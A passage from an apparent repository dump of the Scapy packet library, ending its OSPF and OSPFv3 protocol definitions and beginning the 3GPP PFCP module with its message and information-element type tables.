\" bytes\"  # noqa: E501\n\n\nclass OSPF_LLS_Hdr(Packet):\n    name = \"OSPF Link-local signaling\"\n    fields_desc = [XShortField(\"chksum\", None),\n                   FieldLenField32Bits(\"len\", None, length_of=\"llstlv\", adjust=lambda pkt, x: (x + 4) >> 2),  # noqa: E501\n                   PacketListField(\"llstlv\", [], _LLSGuessPayloadClass, length_from=lambda x: (x.len << 2) - 4)]  # noqa: E501\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.chksum is None:\n            c = checksum(p)\n            p = struct.pack(\"!H\", c) + p[2:]\n        return p\n\n\n_OSPF_LStypes = {1: \"router\",\n                 2: \"network\",\n                 3: \"summaryIP\",\n                 4: \"summaryASBR\",\n                 5: \"external\",\n                 7: \"NSSAexternal\",\n                 9: \"linkScopeOpaque\",\n                 10: \"areaScopeOpaque\",\n                 11: \"asScopeOpaque\"}\n\n_OSPF_LSclasses = {1: \"OSPF_Router_LSA\",\n                   2: \"OSPF_Network_LSA\",\n                   3: \"OSPF_SummaryIP_LSA\",\n                   4: \"OSPF_SummaryASBR_LSA\",\n                   5: \"OSPF_External_LSA\",\n                   7: \"OSPF_NSSA_External_LSA\",\n                   9: \"OSPF_Link_Scope_Opaque_LSA\",\n                   10: \"OSPF_Area_Scope_Opaque_LSA\",\n                   11: \"OSPF_AS_Scope_Opaque_LSA\"}\n\n\ndef ospf_lsa_checksum(lsa):\n    return fletcher16_checkbytes(b\"\\x00\\x00\" + lsa[2:], 16)  # leave out age\n\n\nclass OSPF_LSA_Hdr(Packet):\n    name = \"OSPF LSA Header\"\n    fields_desc = [ShortField(\"age\", 1),\n                   OSPFOptionsField(),\n                   ByteEnumField(\"type\", 1, _OSPF_LStypes),\n                   IPField(\"id\", \"192.168.0.0\"),\n                   IPField(\"adrouter\", \"1.1.1.1\"),\n                   XIntField(\"seq\", 0x80000001),\n                   XShortField(\"chksum\", 0),\n                   ShortField(\"len\", 36)]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\n_OSPF_Router_LSA_types = {1: \"p2p\",\n                          2: \"transit\",\n                          3: \"stub\",\n                          4: \"virtual\"}\n\n\nclass OSPF_Link(Packet):\n    name = \"OSPF Link\"\n    fields_desc = [IPField(\"id\", \"192.168.0.0\"),\n                   IPField(\"data\", \"255.255.255.0\"),\n                   ByteEnumField(\"type\", 3, _OSPF_Router_LSA_types),\n                   ByteField(\"toscount\", 0),\n                   ShortField(\"metric\", 10),\n                   # TODO: define correct conditions\n                   ConditionalField(ByteField(\"tos\", 0), lambda pkt: False),\n                   ConditionalField(ByteField(\"reserved\", 0), lambda pkt: False),  # noqa: E501\n                   ConditionalField(ShortField(\"tosmetric\", 0), lambda pkt: False)]  # noqa: E501\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\ndef _LSAGuessPayloadClass(p, **kargs):\n    \"\"\" Guess the correct LSA class for a given payload \"\"\"\n    # This is heavily based on scapy-cdp.py by Nicolas Bareil and Arnaud Ebalard  # noqa: E501\n\n    cls = conf.raw_layer\n    if len(p) >= 4:\n        typ = orb(p[3])\n        clsname = _OSPF_LSclasses.get(typ, \"Raw\")\n        cls = globals()[clsname]\n    return cls(p, **kargs)\n\n\nclass OSPF_BaseLSA(Packet):\n    \"\"\" An abstract base class for Link State Advertisements \"\"\"\n\n    def post_build(self, p, pay):\n        length = self.len\n        if length is None:\n            length = len(p)\n            p = p[:18] + struct.pack(\"!H\", length) + p[20:]\n        if self.chksum is None:\n            chksum = ospf_lsa_checksum(p)\n            p = p[:16] + chksum + p[18:]\n        return p    # p+pay?\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass OSPF_Router_LSA(OSPF_BaseLSA):\n    name = \"OSPF Router LSA\"\n    fields_desc = [ShortField(\"age\", 1),\n                   OSPFOptionsField(),\n                   ByteField(\"type\", 1),\n                   IPField(\"id\", \"1.1.1.1\"),\n                   IPField(\"adrouter\", \"1.1.1.1\"),\n                   XIntField(\"seq\", 0x80000001),\n                   XShortField(\"chksum\", None),\n                   ShortField(\"len\", None),\n                   FlagsField(\"flags\", 0, 8, [\"B\", \"E\", \"V\", \"W\", \"Nt\"]),\n                   ByteField(\"reserved\", 0),\n                   FieldLenField(\"linkcount\", None, count_of=\"linklist\"),\n                   PacketListField(\"linklist\", [], OSPF_Link,\n                                   count_from=lambda pkt: pkt.linkcount,\n                                   length_from=lambda pkt: pkt.linkcount * 12)]\n\n\nclass OSPF_Network_LSA(OSPF_BaseLSA):\n    name = \"OSPF Network LSA\"\n    fields_desc = [ShortField(\"age\", 1),\n                   OSPFOptionsField(),\n                   ByteField(\"type\", 2),\n                   IPField(\"id\", \"192.168.0.0\"),\n                   IPField(\"adrouter\", \"1.1.1.1\"),\n                   XIntField(\"seq\", 0x80000001),\n                   XShortField(\"chksum\", None),\n                   ShortField(\"len\", None),\n                   IPField(\"mask\", \"255.255.255.0\"),\n                   FieldListField(\"routerlist\", [], IPField(\"\", \"1.1.1.1\"),\n                                  length_from=lambda pkt: pkt.len - 24)]\n\n\nclass OSPF_SummaryIP_LSA(OSPF_BaseLSA):\n    name = \"OSPF Summary LSA (IP Network)\"\n    fields_desc = [ShortField(\"age\", 1),\n                   OSPFOptionsField(),\n                   ByteField(\"type\", 3),\n                   IPField(\"id\", \"192.168.0.0\"),\n                   IPField(\"adrouter\", \"1.1.1.1\"),\n                   XIntField(\"seq\", 0x80000001),\n                   XShortField(\"chksum\", None),\n                   ShortField(\"len\", None),\n                   IPField(\"mask\", \"255.255.255.0\"),\n                   ByteField(\"reserved\", 0),\n                   X3BytesField(\"metric\", 10),\n                   # TODO: Define correct conditions\n                   ConditionalField(ByteField(\"tos\", 0), lambda pkt:False),\n                   ConditionalField(X3BytesField(\"tosmetric\", 0), lambda pkt:False)]  # noqa: E501\n\n\nclass OSPF_SummaryASBR_LSA(OSPF_SummaryIP_LSA):\n    name = \"OSPF Summary LSA (AS Boundary Router)\"\n    type = 4\n    id = \"2.2.2.2\"\n    mask = \"0.0.0.0\"\n    metric = 20\n\n\nclass OSPF_External_LSA(OSPF_BaseLSA):\n    name = \"OSPF External LSA (ASBR)\"\n    fields_desc = [ShortField(\"age\", 1),\n                   OSPFOptionsField(),\n                   ByteField(\"type\", 5),\n                   IPField(\"id\", \"192.168.0.0\"),\n                   IPField(\"adrouter\", \"2.2.2.2\"),\n                   XIntField(\"seq\", 0x80000001),\n                   XShortField(\"chksum\", None),\n                   ShortField(\"len\", None),\n                   IPField(\"mask\", \"255.255.255.0\"),\n                   FlagsField(\"ebit\", 0, 1, [\"E\"]),\n                   BitField(\"reserved\", 0, 7),\n                   X3BytesField(\"metric\", 20),\n                   IPField(\"fwdaddr\", \"0.0.0.0\"),\n                   XIntField(\"tag\", 0),\n                   # TODO: Define correct conditions\n                   ConditionalField(ByteField(\"tos\", 0), lambda pkt:False),\n                   ConditionalField(X3BytesField(\"tosmetric\", 0), lambda pkt:False)]  # noqa: E501\n\n\nclass OSPF_NSSA_External_LSA(OSPF_External_LSA):\n    name = \"OSPF NSSA External LSA\"\n    type = 7\n\n\nclass OSPF_Link_Scope_Opaque_LSA(OSPF_BaseLSA):\n    name = \"OSPF Link Scope External LSA\"\n    type = 9\n    fields_desc = [ShortField(\"age\", 1),\n                   OSPFOptionsField(),\n                   ByteField(\"type\", 9),\n                   IPField(\"id\", \"192.0.2.1\"),\n                   IPField(\"adrouter\", \"198.51.100.100\"),\n                   XIntField(\"seq\", 0x80000001),\n                   XShortField(\"chksum\", None),\n                   ShortField(\"len\", None),\n                   StrLenField(\"data\", \"data\",\n                               length_from=lambda pkt: pkt.len - 20)\n                   ]\n\n    def opaqueid(self):\n        return struct.unpack('>I', inet_aton(self.id))[0] & 0xFFFFFF\n\n    def opaquetype(self):\n        return (struct.unpack('>I', inet_aton(self.id))[0] >> 24) & 0xFF\n\n\nclass OSPF_Area_Scope_Opaque_LSA(OSPF_Link_Scope_Opaque_LSA):\n    name = \"OSPF Area Scope External LSA\"\n    type = 10\n\n\nclass OSPF_AS_Scope_Opaque_LSA(OSPF_Link_Scope_Opaque_LSA):\n    name = \"OSPF AS Scope External LSA\"\n    type = 11\n\n\nclass OSPF_DBDesc(Packet):\n    name = \"OSPF Database Description\"\n    fields_desc = [\n        ShortField(\"mtu\", 1500),\n        OSPFOptionsField(),\n        FlagsField(\"dbdescr\", 0, 8, [\"MS\", \"M\", \"I\", \"R\", \"4\", \"3\", \"2\", \"1\"]),\n        IntField(\"ddseq\", 1),\n        PacketListField(\n            \"lsaheaders\", None, OSPF_LSA_Hdr,\n            count_from=lambda pkt: None,\n            length_from=lambda pkt: pkt.underlayer and pkt.underlayer.len - 24 - 8,\n        )\n    ]\n\n    def guess_payload_class(self, payload):\n        # check presence of LLS data block flag\n        if self.options & 0x10 == 0x10:\n            return OSPF_LLS_Hdr\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n\nclass OSPF_LSReq_Item(Packet):\n    name = \"OSPF Link State Request (item)\"\n    fields_desc = [IntEnumField(\"type\", 1, _OSPF_LStypes),\n                   IPField(\"id\", \"1.1.1.1\"),\n                   IPField(\"adrouter\", \"1.1.1.1\")]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass OSPF_LSReq(Packet):\n    name = \"OSPF Link State Request (container)\"\n    fields_desc = [\n        PacketListField(\n            \"requests\", None, OSPF_LSReq_Item,\n            count_from=lambda pkt: None,\n            length_from=lambda pkt: pkt.underlayer and pkt.underlayer.len - 24,\n        )\n    ]\n\n\nclass OSPF_LSUpd(Packet):\n    name = \"OSPF Link State Update\"\n    fields_desc = [\n        FieldLenField(\"lsacount\", None, fmt=\"!I\", count_of=\"lsalist\"),\n        PacketListField(\n            \"lsalist\", None, _LSAGuessPayloadClass,\n            count_from=lambda pkt: pkt.lsacount,\n            length_from=lambda pkt: pkt.underlayer and pkt.underlayer.len - 24,\n        )\n    ]\n\n\nclass OSPF_LSAck(Packet):\n    name = \"OSPF Link State Acknowledgement\"\n    fields_desc = [\n        PacketListField(\n            \"lsaheaders\", None, OSPF_LSA_Hdr,\n            count_from=lambda pkt: None,\n            length_from=lambda pkt: pkt.underlayer and pkt.underlayer.len - 24,\n        )\n    ]\n\n    def answers(self, other):\n        if isinstance(other, OSPF_LSUpd):\n            for reqLSA in other.lsalist:\n                for ackLSA in self.lsaheaders:\n                    if (reqLSA.type == ackLSA.type and\n                            reqLSA.seq == ackLSA.seq):\n                        return 1\n        return 0\n\n\n###############################################################################\n# OSPFv3\n###############################################################################\nclass OSPFv3_Hdr(Packet):\n    name = \"OSPFv3 Header\"\n    fields_desc = [ByteField(\"version\", 3),\n                   ByteEnumField(\"type\", 1, _OSPF_types),\n                   ShortField(\"len\", None),\n                   IPField(\"src\", \"1.1.1.1\"),\n                   IPField(\"area\", \"0.0.0.0\"),\n                   XShortField(\"chksum\", None),\n                   ByteField(\"instance\", 0),\n                   ByteField(\"reserved\", 0)]\n\n    def post_build(self, p, pay):\n        p += pay\n        tmp_len = self.len\n\n        if tmp_len is None:\n            tmp_len = len(p)\n            p = p[:2] + struct.pack(\"!H\", tmp_len) + p[4:]\n\n        if self.chksum is None:\n            chksum = in6_chksum(89, self.underlayer, p)\n            p = p[:12] + struct.pack(\"!H\", chksum) + p[14:]\n\n        return p\n\n\nclass OSPFv3OptionsField(FlagsField):\n\n    def __init__(self, name=\"options\", default=0, size=24,\n                 names=None):\n        if names is None:\n            names = [\"V6\", \"E\", \"MC\", \"N\", \"R\", \"DC\", \"AF\", \"L\", \"I\", \"F\"]\n        FlagsField.__init__(self, name, default, size, names)\n\n\nclass OSPFv3_Hello(Packet):\n    name = \"OSPFv3 Hello\"\n    fields_desc = [IntField(\"intid\", 0),\n                   ByteField(\"prio\", 1),\n                   OSPFv3OptionsField(),\n                   ShortField(\"hellointerval\", 10),\n                   ShortField(\"deadinterval\", 40),\n                   IPField(\"router\", \"0.0.0.0\"),\n                   IPField(\"backup\", \"0.0.0.0\"),\n                   FieldListField(\"neighbors\", [], IPField(\"\", \"0.0.0.0\"),\n                                  length_from=lambda pkt: (pkt.underlayer.len - 36))]  # noqa: E501\n\n\n_OSPFv3_LStypes = {0x2001: \"router\",\n                   0x2002: \"network\",\n                   0x2003: \"interAreaPrefix\",\n                   0x2004: \"interAreaRouter\",\n                   0x4005: \"asExternal\",\n                   0x2007: \"type7\",\n                   0x0008: \"link\",\n                   0x2009: \"intraAreaPrefix\"}\n\n_OSPFv3_LSclasses = {0x2001: \"OSPFv3_Router_LSA\",\n                     0x2002: \"OSPFv3_Network_LSA\",\n                     0x2003: \"OSPFv3_Inter_Area_Prefix_LSA\",\n                     0x2004: \"OSPFv3_Inter_Area_Router_LSA\",\n                     0x4005: \"OSPFv3_AS_External_LSA\",\n                     0x2007: \"OSPFv3_Type_7_LSA\",\n                     0x0008: \"OSPFv3_Link_LSA\",\n                     0x2009: \"OSPFv3_Intra_Area_Prefix_LSA\"}\n\n\nclass OSPFv3_LSA_Hdr(Packet):\n    name = \"OSPFv3 LSA Header\"\n    fields_desc = [ShortField(\"age\", 1),\n                   ShortEnumField(\"type\", 0x2001, _OSPFv3_LStypes),\n                   IPField(\"id\", \"0.0.0.0\"),\n                   IPField(\"adrouter\", \"1.1.1.1\"),\n                   XIntField(\"seq\", 0x80000001),\n                   XShortField(\"chksum\", 0),\n                   ShortField(\"len\", 36)]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\ndef _OSPFv3_LSAGuessPayloadClass(p, **kargs):\n    \"\"\" Guess the correct OSPFv3 LSA class for a given payload \"\"\"\n\n    cls = conf.raw_layer\n\n    if len(p) >= 6:\n        typ = struct.unpack(\"!H\", p[2:4])[0]\n        clsname = _OSPFv3_LSclasses.get(typ, \"Raw\")\n        cls = globals()[clsname]\n\n    return cls(p, **kargs)\n\n\n_OSPFv3_Router_LSA_types = {1: \"p2p\",\n                            2: \"transit\",\n                            3: \"reserved\",\n                            4: \"virtual\"}\n\n\nclass OSPFv3_Link(Packet):\n    name = \"OSPFv3 Link\"\n    fields_desc = [ByteEnumField(\"type\", 1, _OSPFv3_Router_LSA_types),\n                   ByteField(\"reserved\", 0),\n                   ShortField(\"metric\", 10),\n                   IntField(\"intid\", 0),\n                   IntField(\"neighintid\", 0),\n                   IPField(\"neighbor\", \"2.2.2.2\")]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass OSPFv3_Router_LSA(OSPF_BaseLSA):\n    name = \"OSPFv3 Router LSA\"\n    fields_desc = [ShortField(\"age\", 1),\n                   ShortEnumField(\"type\", 0x2001, _OSPFv3_LStypes),\n                   IPField(\"id\", \"0.0.0.0\"),\n                   IPField(\"adrouter\", \"1.1.1.1\"),\n                   XIntField(\"seq\", 0x80000001),\n                   XShortField(\"chksum\", None),\n                   ShortField(\"len\", None),\n                   FlagsField(\"flags\", 0, 8, [\"B\", \"E\", \"V\", \"W\"]),\n                   OSPFv3OptionsField(),\n                   PacketListField(\"linklist\", [], OSPFv3_Link,\n                                   length_from=lambda pkt:pkt.len - 24)]\n\n\nclass OSPFv3_Network_LSA(OSPF_BaseLSA):\n    name = \"OSPFv3 Network LSA\"\n    fields_desc = [ShortField(\"age\", 1),\n                   ShortEnumField(\"type\", 0x2002, _OSPFv3_LStypes),\n                   IPField(\"id\", \"0.0.0.0\"),\n                   IPField(\"adrouter\", \"1.1.1.1\"),\n                   XIntField(\"seq\", 0x80000001),\n                   XShortField(\"chksum\", None),\n                   ShortField(\"len\", None),\n                   ByteField(\"reserved\", 0),\n                   OSPFv3OptionsField(),\n                   FieldListField(\"routerlist\", [], IPField(\"\", \"0.0.0.1\"),\n                                  length_from=lambda pkt: pkt.len - 24)]\n\n\nclass OSPFv3PrefixOptionsField(FlagsField):\n\n    def __init__(self, name=\"prefixoptions\", default=0, size=8,\n                 names=None):\n        if names is None:\n            names = [\"NU\", \"LA\", \"MC\", \"P\"]\n        FlagsField.__init__(self, name, default, size, names)\n\n\nclass OSPFv3_Inter_Area_Prefix_LSA(OSPF_BaseLSA):\n    name = \"OSPFv3 Inter Area Prefix LSA\"\n    fields_desc = [ShortField(\"age\", 1),\n                   ShortEnumField(\"type\", 0x2003, _OSPFv3_LStypes),\n                   IPField(\"id\", \"0.0.0.0\"),\n                   IPField(\"adrouter\", \"1.1.1.1\"),\n                   XIntField(\"seq\", 0x80000001),\n                   XShortField(\"chksum\", None),\n                   ShortField(\"len\", None),\n                   ByteField(\"reserved\", 0),\n                   X3BytesField(\"metric\", 10),\n                   FieldLenField(\"prefixlen\", None, length_of=\"prefix\", fmt=\"B\"),  # noqa: E501\n                   OSPFv3PrefixOptionsField(),\n                   ShortField(\"reserved2\", 0),\n                   IP6PrefixField(\"prefix\", \"2001:db8:0:42::/64\", wordbytes=4, length_from=lambda pkt: pkt.prefixlen)]  # noqa: E501\n\n\nclass OSPFv3_Inter_Area_Router_LSA(OSPF_BaseLSA):\n    name = \"OSPFv3 Inter Area Router LSA\"\n    fields_desc = [ShortField(\"age\", 1),\n                   ShortEnumField(\"type\", 0x2004, _OSPFv3_LStypes),\n                   IPField(\"id\", \"0.0.0.0\"),\n                   IPField(\"adrouter\", \"1.1.1.1\"),\n                   XIntField(\"seq\", 0x80000001),\n                   XShortField(\"chksum\", None),\n                   ShortField(\"len\", None),\n                   ByteField(\"reserved\", 0),\n                   OSPFv3OptionsField(),\n                   ByteField(\"reserved2\", 0),\n                   X3BytesField(\"metric\", 1),\n                   IPField(\"router\", \"2.2.2.2\")]\n\n\nclass OSPFv3_AS_External_LSA(OSPF_BaseLSA):\n    name = \"OSPFv3 AS External LSA\"\n    fields_desc = [ShortField(\"age\", 1),\n                   ShortEnumField(\"type\", 0x4005, _OSPFv3_LStypes),\n                   IPField(\"id\", \"0.0.0.0\"),\n                   IPField(\"adrouter\", \"1.1.1.1\"),\n                   XIntField(\"seq\", 0x80000001),\n                   XShortField(\"chksum\", None),\n                   ShortField(\"len\", None),\n                   FlagsField(\"flags\", 0, 8, [\"T\", \"F\", \"E\"]),\n                   X3BytesField(\"metric\", 20),\n                   FieldLenField(\"prefixlen\", None, length_of=\"prefix\", fmt=\"B\"),  # noqa: E501\n                   OSPFv3PrefixOptionsField(),\n                   ShortEnumField(\"reflstype\", 0, _OSPFv3_LStypes),\n                   IP6PrefixField(\"prefix\", \"2001:db8:0:42::/64\", wordbytes=4, length_from=lambda pkt: pkt.prefixlen),  # noqa: E501\n                   ConditionalField(IP6Field(\"fwaddr\", \"::\"), lambda pkt: pkt.flags & 0x02 == 0x02),  # noqa: E501\n                   ConditionalField(IntField(\"tag\", 0), lambda pkt: pkt.flags & 0x01 == 0x01),  # noqa: E501\n                   ConditionalField(IPField(\"reflsid\", 0), lambda pkt: pkt.reflstype != 0)]  # noqa: E501\n\n\nclass OSPFv3_Type_7_LSA(OSPFv3_AS_External_LSA):\n    name = \"OSPFv3 Type 7 LSA\"\n    type = 0x2007\n\n\nclass OSPFv3_Prefix_Item(Packet):\n    name = \"OSPFv3 Link Prefix Item\"\n    fields_desc = [FieldLenField(\"prefixlen\", None, length_of=\"prefix\", fmt=\"B\"),  # noqa: E501\n                   OSPFv3PrefixOptionsField(),\n                   ShortField(\"metric\", 10),\n                   IP6PrefixField(\"prefix\", \"2001:db8:0:42::/64\", wordbytes=4, length_from=lambda pkt: pkt.prefixlen)]  # noqa: E501\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass OSPFv3_Link_LSA(OSPF_BaseLSA):\n    name = \"OSPFv3 Link LSA\"\n    fields_desc = [ShortField(\"age\", 1),\n                   ShortEnumField(\"type\", 0x0008, _OSPFv3_LStypes),\n                   IPField(\"id\", \"0.0.0.0\"),\n                   IPField(\"adrouter\", \"1.1.1.1\"),\n                   XIntField(\"seq\", 0x80000001),\n                   XShortField(\"chksum\", None),\n                   ShortField(\"len\", None),\n                   ByteField(\"prio\", 1),\n                   OSPFv3OptionsField(),\n                   IP6Field(\"lladdr\", \"fe80::\"),\n                   FieldLenField(\"prefixes\", None, count_of=\"prefixlist\", fmt=\"I\"),  # noqa: E501\n                   PacketListField(\"prefixlist\", None, OSPFv3_Prefix_Item,\n                                   count_from=lambda pkt: pkt.prefixes)]\n\n\nclass OSPFv3_Intra_Area_Prefix_LSA(OSPF_BaseLSA):\n    name = \"OSPFv3 Intra Area Prefix LSA\"\n    fields_desc = [ShortField(\"age\", 1),\n                   ShortEnumField(\"type\", 0x2009, _OSPFv3_LStypes),\n                   IPField(\"id\", \"0.0.0.0\"),\n                   IPField(\"adrouter\", \"1.1.1.1\"),\n                   XIntField(\"seq\", 0x80000001),\n                   XShortField(\"chksum\", None),\n                   ShortField(\"len\", None),\n                   FieldLenField(\"prefixes\", None, count_of=\"prefixlist\", fmt=\"H\"),  # noqa: E501\n                   ShortEnumField(\"reflstype\", 0, _OSPFv3_LStypes),\n                   IPField(\"reflsid\", \"0.0.0.0\"),\n                   IPField(\"refadrouter\", \"0.0.0.0\"),\n                   PacketListField(\"prefixlist\", None, OSPFv3_Prefix_Item,\n                                   count_from=lambda pkt: pkt.prefixes)]\n\n\nclass OSPFv3_DBDesc(Packet):\n    name = \"OSPFv3 Database Description\"\n    fields_desc = [ByteField(\"reserved\", 0),\n                   OSPFv3OptionsField(),\n                   ShortField(\"mtu\", 1500),\n                   ByteField(\"reserved2\", 0),\n                   FlagsField(\"dbdescr\", 0, 8, [\"MS\", \"M\", \"I\", \"R\"]),\n                   IntField(\"ddseq\", 1),\n                   PacketListField(\"lsaheaders\", None, OSPFv3_LSA_Hdr,\n                                   count_from=lambda pkt:None,\n                                   length_from=lambda pkt:pkt.underlayer.len - 28)]  # noqa: E501\n\n\nclass OSPFv3_LSReq_Item(Packet):\n    name = \"OSPFv3 Link State Request (item)\"\n    fields_desc = [ShortField(\"reserved\", 0),\n                   ShortEnumField(\"type\", 0x2001, _OSPFv3_LStypes),\n                   IPField(\"id\", \"1.1.1.1\"),\n                   IPField(\"adrouter\", \"1.1.1.1\")]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass OSPFv3_LSReq(Packet):\n    name = \"OSPFv3 Link State Request (container)\"\n    fields_desc = [PacketListField(\"requests\", None, OSPFv3_LSReq_Item,\n                                   count_from=lambda pkt:None,\n                                   length_from=lambda pkt:pkt.underlayer.len - 16)]  # noqa: E501\n\n\nclass OSPFv3_LSUpd(Packet):\n    name = \"OSPFv3 Link State Update\"\n    fields_desc = [FieldLenField(\"lsacount\", None, fmt=\"!I\", count_of=\"lsalist\"),  # noqa: E501\n                   PacketListField(\"lsalist\", [], _OSPFv3_LSAGuessPayloadClass,\n                                   count_from=lambda pkt:pkt.lsacount,\n                                   length_from=lambda pkt:pkt.underlayer.len - 16)]  # noqa: E501\n\n\nclass OSPFv3_LSAck(Packet):\n    name = \"OSPFv3 Link State Acknowledgement\"\n    fields_desc = [PacketListField(\"lsaheaders\", None, OSPFv3_LSA_Hdr,\n                                   count_from=lambda pkt:None,\n                                   length_from=lambda pkt:pkt.underlayer.len - 16)]  # noqa: E501\n\n\nbind_layers(IP, OSPF_Hdr, proto=89)\nbind_layers(OSPF_Hdr, OSPF_Hello, type=1)\nbind_layers(OSPF_Hdr, OSPF_DBDesc, type=2)\nbind_layers(OSPF_Hdr, OSPF_LSReq, type=3)\nbind_layers(OSPF_Hdr, OSPF_LSUpd, type=4)\nbind_layers(OSPF_Hdr, OSPF_LSAck, type=5)\nDestIPField.bind_addr(OSPF_Hdr, \"224.0.0.5\")\n\nbind_layers(IPv6, OSPFv3_Hdr, nh=89)\nbind_layers(OSPFv3_Hdr, OSPFv3_Hello, type=1)\nbind_layers(OSPFv3_Hdr, OSPFv3_DBDesc, type=2)\nbind_layers(OSPFv3_Hdr, OSPFv3_LSReq, type=3)\nbind_layers(OSPFv3_Hdr, OSPFv3_LSUpd, type=4)\nbind_layers(OSPFv3_Hdr, OSPFv3_LSAck, type=5)\nDestIP6Field.bind_addr(OSPFv3_Hdr, \"ff02::5\")\n\n\nif __name__ == \"__main__\":\n    from scapy.main import interact\n    interact(mydict=globals(), mybanner=\"OSPF extension %s\" % EXT_VERSION)\n"
  },
  {
    "path": "scapy/contrib/pfcp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2019 Travelping GmbH <info@travelping.com>\n\n\"\"\"\n3GPP TS 29.244\n\"\"\"\n\n# scapy.contrib.description = 3GPP Packet Forwarding Control Protocol\n# scapy.contrib.status = loads\n\nimport struct\n\nfrom scapy.compat import chb, orb\nfrom scapy.error import warning\nfrom scapy.fields import Field, BitEnumField, BitField, ByteEnumField, \\\n    ShortEnumField, ByteField, IntField, LongField, \\\n    ConditionalField, FieldLenField, BitFieldLenField, FieldListField, \\\n    IPField, MACField, PacketListField, ShortField, \\\n    StrLenField, StrField, XBitField, XByteField, XIntField, XLongField, \\\n    ThreeBytesField, SignedLongField, SignedIntField, MultipleTypeField\nfrom scapy.layers.inet import UDP\nfrom scapy.layers.inet6 import IP6Field\nfrom scapy.data import IANA_ENTERPRISE_NUMBERS\nfrom scapy.packet import bind_layers, bind_bottom_up, \\\n    Packet, Raw\nfrom scapy.volatile import RandNum, RandBin\n\nPFCPmessageType = {\n    1: \"heartbeat_request\",\n    2: \"heartbeat_response\",\n    3: \"pfd_management_request\",\n    4: \"pfd_management_response\",\n    5: \"association_setup_request\",\n    6: \"association_setup_response\",\n    7: \"association_update_request\",\n    8: \"association_update_response\",\n    9: \"association_release_request\",\n    10: \"association_release_response\",\n    11: \"version_not_supported_response\",\n    12: \"node_report_request\",\n    13: \"node_report_response\",\n    14: \"session_set_deletion_request\",\n    15: \"session_set_deletion_response\",\n    50: \"session_establishment_request\",\n    51: \"session_establishment_response\",\n    52: \"session_modification_request\",\n    53: \"session_modification_response\",\n    54: \"session_deletion_request\",\n    55: \"session_deletion_response\",\n    56: \"session_report_request\",\n    57: \"session_report_response\",\n}\n\nIEType = {\n    0: \"Reserved\",\n    1: \"Create PDR\",\n    2: \"PDI\",\n    3: \"Create FAR\",\n    4: \"Forwarding Parameters\",\n    5: \"Duplicating Parameters\",\n    6: \"Create URR\",\n    7: \"Create QER\",\n    8: \"Created PDR\",\n    9: \"Update PDR\",\n    10: \"Update FAR\",\n    11: \"Update Forwarding Parameters\",\n    12: \"Update BAR (PFCP Session Report Response)\",\n    13: \"Update URR\",\n    14: \"Update QER\",\n    15: \"Remove PDR\",\n    16: \"Remove FAR\",\n    17: \"Remove URR\",\n    18: \"Remove QER\",\n    19: \"Cause\",\n    20: \"Source Interface\",\n    21: \"F-TEID\",\n    22: \"Network Instance\",\n    23: \"SDF Filter\",\n    24: \"Application ID\",\n    25: \"Gate Status\",\n    26: \"MBR\",\n    27: \"GBR\",\n    28: \"QER Correlation ID\",\n    29: \"Precedence\",\n    30: \"Transport Level Marking\",\n    31: \"Volume Threshold\",\n    32: \"Time Threshold\",\n    33: \"Monitoring Time\",\n    34: \"Subsequent Volume Threshold\",\n    35: \"Subsequent Time Threshold\",\n    36: \"Inactivity Detection Time\",\n    37: \"Reporting Triggers\",\n    38: \"Redirect Information\",\n    39: \"Report Type\",\n    40: \"Offending IE\",\n    41: \"Forwarding Policy\",\n    42: \"Destination Interface\",\n    43: \"UP Function Features\",\n    44: \"Apply Action\",\n    45: \"Downlink Data Service Information\",\n    46: \"Downlink Data Notification Delay\",\n    47: \"DL Buffering Duration\",\n    48: \"DL Buffering Suggested Packet Count\",\n    49: \"PFCPSMReq-Flags\",\n    50: \"PFCPSRRsp-Flags\",\n    51: \"Load Control Information\",\n    52: \"Sequence Number\",\n    53: \"Metric\",\n    54: \"Overload Control Information\",\n    55: \"Timer\",\n    56: \"PDR ID\",\n    57: \"F-SEID\",\n    58: \"Application ID's PFDs\",\n    59: \"PFD context\",\n    60: \"Node ID\",\n    61: \"PFD contents\",\n    62: \"Measurement Method\",\n    63: \"Usage Report Trigger\",\n    64: \"Measurement Period\",\n    65: \"FQ-CSID\",\n    66: \"Volume Measurement\",\n    67: \"Duration Measurement\",\n    68: \"Application Detection Information\",\n    69: \"Time of First Packet\",\n    70: \"Time of Last Packet\",\n    71: \"Quota Holding Time\",\n    72: \"Dropped DL Traffic Threshold\",\n    73: \"Volume Quota\",\n    74: \"Time Quota\",\n    75: \"Start Time\",\n    76: \"End Time\",\n    77: \"Query URR\",\n    78: \"Usage Report (Session Modification Response)\",\n    79: \"Usage Report (Session Deletion Response)\",\n    80: \"Usage Report (Session Report Request)\",\n    81: \"URR ID\",\n    82: \"Linked URR ID\",\n    83: \"Downlink Data Report\",\n    84: \"Outer Header Creation\",\n    85: \"Create BAR\",\n    86: \"Update BAR (Session Modification Request)\",\n    87: \"Remove BAR\",\n    88: \"BAR ID\",\n    89: \"CP Function Features\",\n    90: \"Usage Information\",\n    91: \"Application Instance ID\",\n    92: \"Flow Information\",\n    93: \"UE IP Address\",\n    94: \"Packet Rate\",\n    95: \"Outer Header Removal\",\n    96: \"Recovery Time Stamp\",\n    97: \"DL Flow Level Marking\",\n    98: \"Header Enrichment\",\n    99: \"Error Indication Report\",\n    100: \"Measurement Information\",\n    101: \"Node Report Type\",\n    102: \"User Plane Path Failure Report\",\n    103: \"Remote GTP-U Peer\",\n    104: \"UR-SEQN\",\n    105: \"Update Duplicating Parameters\",\n    106: \"Activate Predefined Rules\",\n    107: \"Deactivate Predefined Rules\",\n    108: \"FAR ID\",\n    109: \"QER ID\",\n    110: \"OCI Flags\",\n    111: \"PFCP Association Release Request\",\n    112: \"Graceful Release Period\",\n    113: \"PDN Type\",\n    114: \"Failed Rule ID\",\n    115: \"Time Quota Mechanism\",\n    116: \"User Plane IP Resource Information\",\n    117: \"User Plane Inactivity Timer\",\n    